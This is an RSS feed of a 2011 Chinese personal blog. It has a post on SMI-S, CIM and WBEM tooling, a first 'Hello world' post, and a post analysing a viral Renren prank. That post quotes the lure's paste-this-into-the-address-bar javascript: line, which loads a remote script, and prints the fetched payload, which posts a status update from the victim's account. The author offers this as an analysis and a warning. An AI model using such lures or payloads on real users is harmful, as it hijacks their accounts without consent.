<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>GuiLi&#039;s Blog</title>
	<atom:link href="http://guili.info/feed/" rel="self" type="application/rss+xml" />
	<link>http://guili.info</link>
	<description>分享生活，崇尚技术</description>
	<lastBuildDate>Sun, 13 Nov 2011 00:59:01 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>SMI-S,CIM,WBEM</title>
		<link>http://guili.info/2011/06/smi-scimwbem/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=smi-scimwbem</link>
		<comments>http://guili.info/2011/06/smi-scimwbem/#comments</comments>
		<pubDate>Fri, 17 Jun 2011 07:20:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[技术杂谈]]></category>
		<category><![CDATA[CIM]]></category>
		<category><![CDATA[SMI-S]]></category>
		<category><![CDATA[WBEM]]></category>

		<guid isPermaLink="false">http://guili.info/?p=45</guid>
		<description><![CDATA[发现从开通这个 blog 之后，我更新 blog 果然很不称职，当然很重要的一个原因是忙着毕业设计和毕业论文去了。准备更新一次，却一时也没想好要写些什么，那么就将我毕设的一些内容摘取一些吧。 SMI-S ，全称是 Storage Management Initiative Specification 。我习惯翻译成存储管理计划规范，不过一般还是不翻译最准确。这是由 SNIA 2002 年提出的一个存储管理规范，其目标是在存储网络中的存储设备和管理软件之间提供标准化的通信方式，从而使存储管理实现厂商无关性，提高管理效率、降低管理成本，促进存储网络的发展。 SMI-S 是基于一些已有的技术标准而制定的，其中最主要的两个是 CIM 和 WBEM 。 CIM ，全称是 Common Information Model ，通用信息模型。这是由 DMTF 开发的，与具体实现无关的、用于描述管理信息的概念上的信息模型。 DMTF 目前已经利用 CIM 对几乎整个计算机系统的各个方面都有了具体的模型。 CIM 使用 MOF（Managed Object Format）语言来对模型进行表示。 WBEM ，全称是 Web-Based Enterprise Management ，基于 Web 的企业管理。这也是由 DMTF 所开发，用于统一企业计算环境管理而开发的管理和因特网标准技术，以达到提升管理解决方案提供者之间的互操作性的目标。 WBEM 有三个组件，分别是前面已经介绍的 CIM 、 xmlCIM Encoding Specification 和 CIM Operations over [...]]]></description>
			<content:encoded><![CDATA[<p>发现从开通这个 blog 之后，我更新 blog 果然很不称职，当然很重要的一个原因是忙着毕业设计和毕业论文去了。准备更新一次，却一时也没想好要写些什么，那么就将我毕设的一些内容摘取一些吧。</p>
<p><a title="SMI-S" href="http://www.snia.org/tech_activities/standards/curr_standards/smi" target="_blank">SMI-S </a>，全称是 Storage Management Initiative Specification 。我习惯翻译成存储管理计划规范，不过一般还是不翻译最准确。这是由 SNIA 2002 年提出的一个存储管理规范，其目标是在存储网络中的存储设备和管理软件之间提供标准化的通信方式，从而使存储管理实现厂商无关性，提高管理效率、降低管理成本，促进存储网络的发展。 SMI-S 是基于一些已有的技术标准而制定的，其中最主要的两个是 CIM 和 WBEM 。</p>
<p><a title="CIM" href="http://dmtf.org/standards/cim" target="_blank">CIM</a> ，全称是 Common Information Model ，通用信息模型。这是由 DMTF 开发的，与具体实现无关的、用于描述管理信息的概念上的信息模型。 DMTF 目前已经利用 CIM 对几乎整个计算机系统的各个方面都有了具体的模型。 CIM 使用 MOF（Managed Object Format）语言来对模型进行表示。</p>
<p><a title="WBEM" href="http://dmtf.org/standards/wbem" target="_blank">WBEM</a> ，全称是 Web-Based Enterprise Management ，基于 Web 的企业管理。这也是由 DMTF 所开发，用于统一企业计算环境管理而开发的管理和因特网标准技术，以达到提升管理解决方案提供者之间的互操作性的目标。 WBEM 有三个组件，分别是前面已经介绍的 CIM 、 xmlCIM Encoding Specification 和 CIM Operations over HTTP specification 。</p>
<p style="padding-left: 30px;">CIM 提供了收集和描述管理数据通用的格式、语言和方法。</p>
<p style="padding-left: 30px;">xmlCIM Encoding Specification ， xmlCIM 编码规范，用 DTD 定义一些 XML 元素，用于表示 CIM 的类和实例。</p>
<p style="padding-left: 30px;">CIM Operations over HTTP specification ， HTTP 上的 CIM 操作规范，定义了一个 CIM 操作到 HTTP 的映射，使得 CIM 的实现可以用一种开放、标准的方式进行互操作。</p>
<p>我毕设的工作是基于 SMI-S 这个规范，对某一个具体的方面进行建模，并进行简单的管理。</p>
<p>主要使用的工具是 The Open Group 开源实现的 <a title="OpenPegasus" href="http://www.openpegasus.org/" target="_blank">OpenPegasus</a> ，以及一个辅助开发工具 <a title="Cimple" href="http://simplewbem.org/" target="_blank">Cimple</a>。Cimple对建模工作和Provider开发并不是必需的，但利用Cimple可以大大简化开发的工作。</p>
<p>OpenPegasus 和 Cimple 都有跨平台的支持，在 Windows 和 Linux 均可使用，按其官方文档，应该还支持很多类型的平台，这里不一一细数。我是在 Ubuntu 11.04 下进行开发的。编译过程中除了按照官方手册进行操作之外，还需注意三点：</p>
<p style="padding-left: 30px;">（1）OpenPegasus编译完成后，其自带的Provider测试程序并不能全部通过，但至少从我毕设的效果来看，这并没有太多不利影响。</p>
<p style="padding-left: 30px;">（2）记得需要 make repository 后， cimserver 才能正常使用。</p>
<p style="padding-left: 30px;">（3）Cimple对OpenPegasus的配置，按官方文档，配置过程中执行</p>
<p style="padding-left: 120px;">./configure &#8211;with-pegasus-env</p>
<p style="padding-left: 30px;">即可。但这样会出现对KonkretCMPI这个项目的依赖（这里使用的Cimple版本号为2.0.16），因此，要么解除这个依赖，要不解决这个依赖。因为我的毕设过程中没有涉及到对CMPI的支持，故在配置选项中排除了对CMPI的支持。另外，因为在Provider中有用到内嵌实例，默认配置中不支持该功能，需要在配置选项中加上。</p>
<p style="padding-left: 120px;">./configure \</p>
<p style="padding-left: 120px;">&#8211;prefix=$PEGASUS_HOME \</p>
<p style="padding-left: 120px;">&#8211;libdir=$PEGASUS_HOME/lib \</p>
<p style="padding-left: 120px;">&#8211;with-pegasus=$PEGASUS_HOME \</p>
<p style="padding-left: 120px;">&#8211;with-pegasus-libdir=$PEGASUS_HOME/lib \</p>
<p style="padding-left: 120px;">&#8211;with-pegasus-includes=$PEGASUS_ROOT/src \</p>
<p style="padding-left: 120px;">&#8211;enable-embedded-instances</p>
<p>做完这些工作后，即开始具体的建模和 Provider 开发。</p>
<p>建模工作，需要针对具体的领域进行具体的工作。这里不准备详细讲述。</p>
<p>后面具体的 Provider 实现工作，可以根据 Cimple 源码包 doc 文件夹下的 Using_Cimple.pdf 中所提供的一些范例来进行。在本文中也不详细讲述了。</p>
<p>对 OpenPegasus 和 Cimple 的具体使用，以及后面的建模工作和 Provider 实现过程，若有读者有兴趣，欢迎和我交流。</p>
]]></content:encoded>
			<wfw:commentRss>http://guili.info/2011/06/smi-scimwbem/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>传说中的“我是2B青年”</title>
		<link>http://guili.info/2011/04/%e4%bc%a0%e8%af%b4%e4%b8%ad%e7%9a%84%e2%80%9c%e6%88%91%e6%98%af2b%e9%9d%92%e5%b9%b4%e2%80%9d/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=%25e4%25bc%25a0%25e8%25af%25b4%25e4%25b8%25ad%25e7%259a%2584%25e2%2580%259c%25e6%2588%2591%25e6%2598%25af2b%25e9%259d%2592%25e5%25b9%25b4%25e2%2580%259d</link>
		<comments>http://guili.info/2011/04/%e4%bc%a0%e8%af%b4%e4%b8%ad%e7%9a%84%e2%80%9c%e6%88%91%e6%98%af2b%e9%9d%92%e5%b9%b4%e2%80%9d/#comments</comments>
		<pubDate>Tue, 19 Apr 2011 12:53:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[技术杂谈]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[书签]]></category>

		<guid isPermaLink="false">http://guili.info/?p=33</guid>
		<description><![CDATA[好像很多人中招了(虽然我一个也没见到)，于是就想把这个代码弄出来看看。 让人中招的原文如下： 据说校内网使用数据挖掘技术，根据用户的行为对用户的类型进行进行了分类，比如“美女”“单身”“有思想”“搓男”等等。 本来这些东西是不能让用户看到的，现在泄漏出来一段代码， 可以看到校内对你的评价： javascript:var%20s%20=%20document.createElement(&#8216;script&#8217;); document.body.appendChild(s); s.src=&#8217;http://commondatastorage.googleapis.com/tecent/homepage&#8217;; void(0); 操作方法： 1、复制上面的代码 2、进入你的校内“首页” 3、将浏览器地址栏中的内容替换为你复制的代码 4、回车！ 稍等片刻，奇迹发生！ 单看那段js代码，就是从网上请求了另一段js代码，这种方式跟google reader中的分享书签、搜狗云输入法的那个js书签、twitter的分享书签用的方法其实是一样的，区别在于那些js代码的发布人是可以信任的，虽然用了很多代码混淆的方式让人看不懂。实际上这种方法很不安全，不信任的代码可以做很多坏事。 google reader中js书签 google reader 分享书签点击的效果 搜狗云输入法的书签 twitter的那个js书签在新版界面上一时没能找到，也许是被官方删掉了，也许单纯只是我没找到而已，但却发现Tumblr也有类似的一个js书签。 tumblr中的分享书签 这种利用js方式可以做很多有益或者有害的事情。有害有益程度纯粹看那段js代码是用于做什么的。 将从网上请求下来的第二段js贴在下面： var ss= document.createElement(&#8216;script&#8217;); ss.type=&#8217;text/javascript&#8217;; ss.text=”function xss(){ document.getElementById(&#8216;publisher_statusInput&#8217;).value=&#8217;我是2B青年&#8217;; document.getElementById(&#8216;publisher_submit&#8217;).click(); return false; }”; document.body.appendChild(ss); //publisher_statusInput //publisher_submitxss(); 于是这段代码的作用就很简单很明显了，也没做其他啥特别恶劣的事情，就是找到首页的状态发布栏，填入了一个“我是2B青年”的状态，然后提交发布。还好这纯粹是个小小的恶作剧。。。 最后告诫中招的童鞋们，网上要注意安全。]]></description>
			<content:encoded><![CDATA[<p>好像很多人中招了(虽然我一个也没见到)，于是就想把这个代码弄出来看看。</p>
<p>让人中招的原文如下：</p>
<blockquote><p>据说校内网使用数据挖掘技术，根据用户的行为对用户的类型进行进行了分类，比如“美女”“单身”“有思想”“搓男”等等。</p>
<p>本来这些东西是不能让用户看到的，现在泄漏出来一段代码， 可以看到校内对你的评价：</p>
<p>javascript:var%20s%20=%20document.createElement(&#8216;script&#8217;);</p>
<p>document.body.appendChild(s);</p>
<p>s.src=&#8217;<a target="_blank">http://commondatastorage.googleapis.com/tecent/homepage&#8217;</a>;</p>
<p>void(0);</p>
<p>操作方法：</p>
<p>1、复制上面的代码</p>
<p>2、进入你的校内“首页”</p>
<p>3、将浏览器地址栏中的内容替换为你复制的代码</p>
<p>4、回车！</p>
<p>稍等片刻，奇迹发生！</p></blockquote>
<p>单看那段js代码，就是从网上请求了另一段js代码，这种方式跟google reader中的分享书签、搜狗云输入法的那个js书签、twitter的分享书签用的方法其实是一样的，区别在于那些js代码的发布人是可以信任的，虽然用了很多代码混淆的方式让人看不懂。实际上这种方法很不安全，不信任的代码可以做很多坏事。</p>
<p><a href="http://guili.info/wp-content/uploads/2011/04/googlereader分享.png"><img class="aligncenter size-full wp-image-36" title="googlereader分享" src="http://guili.info/wp-content/uploads/2011/04/googlereader分享.png" alt="googlereader分享" width="230" height="140" /></a></p>
<p style="text-align: center;">google reader中js书签</p>
<p><a href="http://guili.info/wp-content/uploads/2011/04/googlereader分享1.png"></a><a href="http://guili.info/wp-content/uploads/2011/04/googlereadershare.png"><img class="aligncenter size-medium wp-image-38" title="googlereadershare" src="http://guili.info/wp-content/uploads/2011/04/googlereadershare-300x220.png" alt="" width="300" height="220" /></a></p>
<p style="text-align: center;">google reader 分享书签点击的效果</p>
<p><a href="http://guili.info/wp-content/uploads/2011/04/搜狗云输入法.png"><img class="aligncenter size-medium wp-image-35" title="搜狗云输入法" src="http://guili.info/wp-content/uploads/2011/04/QQ截图未命名-300x92.png" alt="搜狗云输入法" width="300" height="92" /></a></p>
<p style="text-align: center;">搜狗云输入法的书签</p>
<p>twitter的那个js书签在新版界面上一时没能找到，也许是被官方删掉了，也许单纯只是我没找到而已，但却发现Tumblr也有类似的一个js书签。</p>
<p><a href="http://guili.info/wp-content/uploads/2011/04/shareontumblr.png"><img class="aligncenter size-medium wp-image-39" title="shareontumblr" src="http://guili.info/wp-content/uploads/2011/04/shareontumblr-300x215.png" alt="" width="300" height="215" /></a></p>
<p style="text-align: center;">tumblr中的分享书签</p>
<p>这种利用js方式可以做很多有益或者有害的事情。有害有益程度纯粹看那段js代码是用于做什么的。</p>
<p>将从网上请求下来的第二段js贴在下面：</p>
<blockquote><p>var ss= document.createElement(&#8216;script&#8217;);</p>
<p>ss.type=&#8217;text/javascript&#8217;;</p>
<p>ss.text=”function xss(){</p>
<p>document.getElementById(&#8216;publisher_statusInput&#8217;).value=&#8217;我是2B青年&#8217;;</p>
<p>document.getElementById(&#8216;publisher_submit&#8217;).click();</p>
<p>return false;</p>
<p>}”;</p>
<p>document.body.appendChild(ss);<br />
//publisher_statusInput</p>
<p>//publisher_submitxss();</p></blockquote>
<p>于是这段代码的作用就很简单很明显了，也没做其他啥特别恶劣的事情，就是找到首页的状态发布栏，填入了一个“我是2B青年”的状态，然后提交发布。还好这纯粹是个小小的恶作剧。。。</p>
<p>最后告诫中招的童鞋们，网上要注意安全。</p>
]]></content:encoded>
			<wfw:commentRss>http://guili.info/2011/04/%e4%bc%a0%e8%af%b4%e4%b8%ad%e7%9a%84%e2%80%9c%e6%88%91%e6%98%af2b%e9%9d%92%e5%b9%b4%e2%80%9d/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Hello world！</title>
		<link>http://guili.info/2011/04/hello-world/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=hello-world</link>
		<comments>http://guili.info/2011/04/hello-world/#comments</comments>
		<pubDate>Mon, 18 Apr 2011 12:29:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[生活感悟]]></category>
		<category><![CDATA[情感]]></category>
		<category><![CDATA[生活]]></category>

		<guid isPermaLink="false">http://guili.info/?p=1</guid>
		<description><![CDATA[我的 blog 诞生啦~~~ 这是我准备开始维护的第一个 blog ，我将在这里记录下我的学习收获，生活体验与感受，记录我想记下的所有东西，欢迎网友们围观！ 说说我开博的由来吧。此前有同学早就在维护个人博客，看到网上很多各种形式的个人博客，想了想，觉得这种事情会费很多时间和精力，觉得自己不会有那个耐心来耗很多时间来管理一个个人博客，但却认为有一个个人独立博客是一件很酷的事情。 直到前段时间，因为一个偶然的原因，我想查查我们学校的PT下载站HUDBT的域名注册信息( www.kmgtp.org )，又突发奇想，试了试其他我觉得很不错的域名，发现 guili.info 和 guili.me (目前未启用) 这俩域名还能注册，于是突然就想开个个人博客了，就用这个域名。果断买了域名，之后就开博啦啦啦啦~~~撒花~~ 除了这个主博客外，我决定还在GAE上托管了另一个备份博客，域名是 blog.guili.info 这个域名因众所周知的原因，不用代理啥的，不一定能打开，我会不定期的将这个博客内容同步到备份博客中。 我想这个博客能集技术和生活于一体。在这里，我会分享我学习研究中觉得有趣的一些事情，也会分享我的生活感悟。虽然说维护好一个博客是一件很耗精力的事情，但我会努力做好这个 blog !!!]]></description>
			<content:encoded><![CDATA[<p>我的 blog 诞生啦~~~</p>
<p>这是我准备开始维护的第一个 blog ，我将在这里记录下我的学习收获，生活体验与感受，记录我想记下的所有东西，欢迎网友们围观！</p>
<p>说说我开博的由来吧。此前有同学早就在维护个人博客，看到网上很多各种形式的个人博客，想了想，觉得这种事情会费很多时间和精力，觉得自己不会有那个耐心来耗很多时间来管理一个个人博客，但却认为有一个个人独立博客是一件很酷的事情。</p>
<p>直到前段时间，因为一个偶然的原因，我想查查我们学校的PT下载站HUDBT的域名注册信息( <a title="HUDBT" href="http://kmgtp.org" target="_blank">www.kmgtp.org</a> )，又突发奇想，试了试其他我觉得很不错的域名，发现 <a href="http://guili.info" target="_blank">guili.info</a> 和 guili.me (目前未启用) 这俩域名还能注册，于是突然就想开个个人博客了，就用这个域名。果断买了域名，之后就开博啦啦啦啦~~~撒花~~</p>
<p>除了这个主博客外，我决定还在GAE上托管了另一个备份博客，域名是 <a href="http://blog.guili.info" target="_blank">blog.guili.info</a> 这个域名因众所周知的原因，不用代理啥的，不一定能打开，我会不定期的将这个博客内容同步到备份博客中。</p>
<p>我想这个博客能集技术和生活于一体。在这里，我会分享我学习研究中觉得有趣的一些事情，也会分享我的生活感悟。虽然说维护好一个博客是一件很耗精力的事情，但我会努力做好这个 blog !!!</p>
]]></content:encoded>
			<wfw:commentRss>http://guili.info/2011/04/hello-world/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

